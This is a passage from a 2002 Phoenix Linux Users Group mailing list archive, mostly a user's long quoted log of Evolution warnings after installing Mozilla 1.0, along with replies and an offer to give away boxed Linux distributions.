evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: 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Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `calendar' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `contacts' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `mail' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `tasks' evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- Unknown type `vtrash' I have done the google search, but have come up empty handed. anyone have any suggestions for a possible fix? BTW i am running evolution-1.0.3-4. slr From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 17:49:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 6 Jun 2002 10:49:51 -0700 Subject: mozilla 1.0 In-Reply-To: <200206060907.21182.zen2now@qwest.net> References: <200206060907.21182.zen2now@qwest.net> Message-ID: <200206061049.51343.zen2now@qwest.net> forget it, problem resolved. slr On Thursday 06 June 2002 09:07 am, slr wrote: > good morning all, > > i just installed mozilla 1.0 from rpm's which i > downloaded from http://plug.netpro.to/mozilla/ onto a RH 7.3 install. i am > running KDE 3.0, mozilla seems to run fine but now when i try to open > Evolution i get these warnings: > > [xxx@xxx xxx]$ evolution > > evolution-shell-WARNING **: Could not start up component for > OAFIID:GNOME_Evolution_Addressbook_ShellComponent. > > evolution-shell-WARNING **: Cannot activate Evolution component -- > OAFIID:GNOME_Evolution_Addressbook_ShellComponent > > evolution-shell-WARNING **: Could not start up component for > OAFIID:GNOME_Evolution_Mail_ShellComponent. > > evolution-shell-WARNING **: Cannot activate Evolution component -- > OAFIID:GNOME_Evolution_Mail_ShellComponent > > evolution-shell-WARNING **: Could not start up component for > OAFIID:GNOME_Evolution_Calendar_ShellComponent. > > evolution-shell-WARNING **: Cannot activate Evolution component -- > OAFIID:GNOME_Evolution_Calendar_ShellComponent > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_handler_for_type() > -- Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `calendar' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `contacts' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `mail' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `tasks' > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > Unknown type `vtrash' > > I have done the google search, but have come up empty handed. anyone have > any suggestions for a possible fix? > > BTW i am running evolution-1.0.3-4. > > slr > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 18:03:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Thu, 06 Jun 2002 11:03:31 -0700 Subject: Random stuff to give away In-Reply-To: <200206052325.52735@granroth.org> Message-ID: <5.1.0.14.0.20020606110130.00abd090@localhost> This could be used for the install fest or other prizes at meetings too. If you would like to donate to AZOTO, let me know and we can have someone pick up anything you donate. There will be a tax donation letter to follow if you wish to do this through AZOTO. Kimi Adams, Treasurer AZOTO.org At 6/5/02, you wrote: >I have the following list of random distributions and stuff that I no >longer use. If anybody wants it, they can have it. Perhaps some of >it could be used for the InstallFest? Or door prizes? Or whatever... > >All the distributions are the retail boxed versions (no "download" or >"gpled" ones). They all come with all necessary CDs, boot disks (and >DVDs, in the case of SuSE 7.x) and manuals. The SuSE ones (unless >noted) may or may not have all the stickers and tie tacks and the >like. > >I don't think I'll be making any meetings any time soon so if you want >any of this, you'll have to stop on by my house and pick 'em up. Give >me a private email for directions. >----------------------------------------------------------------------- >Red Hat Linux 6.0 >Red Hat Linux 6.1 Deluxe >Red Hat Linux 6.2 Deluxe >Red Hat Linux 7.0 Standard > >SuSE 6.2 [1] >SuSE 6.3 (Missing CD1 -- am looking for it now) >SuSE 6.4 German [2] >SuSE 7.0 Professional >SuSE 7.1 Professional [3] >SuSE 7.1 Professional >SuSE 7.2 Professional > >Debian 2.1 Boxed Set [4] >Storm Linux 2000 [5] > >Mandrake Linux 7.1 Essential > >Caldera OpenLinux 2.3 [6] > >KDE 2.0 Development Book (4 copies) [7] > >[1] Also includes a full set of the German CDs which come with the > crypto packages (ssh, pgp, etc). The US CDs did not, back then >[2] This is the German version. All the CDs installation is in > English but the docs are all in German. >[3] This is like new! I opened it once but never used it. It > includes everything. >[4] This is the boxed set that VA Linux and SGI were distributing > awhile back. Even if you don't use the CD, the included O'Reilly > "Learning Debian GNU/Linux" book(!) (and Debian quick-start > booklet and Debian bumper sticker) make this worth having. >[5] I got this at a show but never even opened it (no spare boxes). > It's a Debian based system with a graphical installation. Looks > slick but Storm has since gone out of business. >[6] Older, but was first distro to come with Partition Magic and a > full graphical installation. >[7] This is *the* "how to develop KDE applications" book. Most of it > applies to KDE 3.x as well. A $50 value :-) ISBN: 0-672-31891-1 >-- >Kurt Granroth - "KDE -- Conquer Your Desktop" >KDE Developer/Evangelist | granroth@kde.org >http://www.granroth.org | kurt@granroth.org > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 18:35:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Thu, 6 Jun 2002 11:35:54 -0700 (PDT) Subject: mozilla 1.0 In-Reply-To: <200206061049.51343.zen2now@qwest.net> Message-ID: And the problem was...? On Thu, 6 Jun 2002, slr wrote: > forget it, problem resolved. > > slr > > On Thursday 06 June 2002 09:07 am, slr wrote: > > good morning all, > > > > i just installed mozilla 1.0 from rpm's which i > > downloaded from http://plug.netpro.to/mozilla/ onto a RH 7.3 install. i am > > running KDE 3.0, mozilla seems to run fine but now when i try to open > > Evolution i get these warnings: > > > > [xxx@xxx xxx]$ evolution > > > > evolution-shell-WARNING **: Could not start up component for > > OAFIID:GNOME_Evolution_Addressbook_ShellComponent. > > > > evolution-shell-WARNING **: Cannot activate Evolution component -- > > 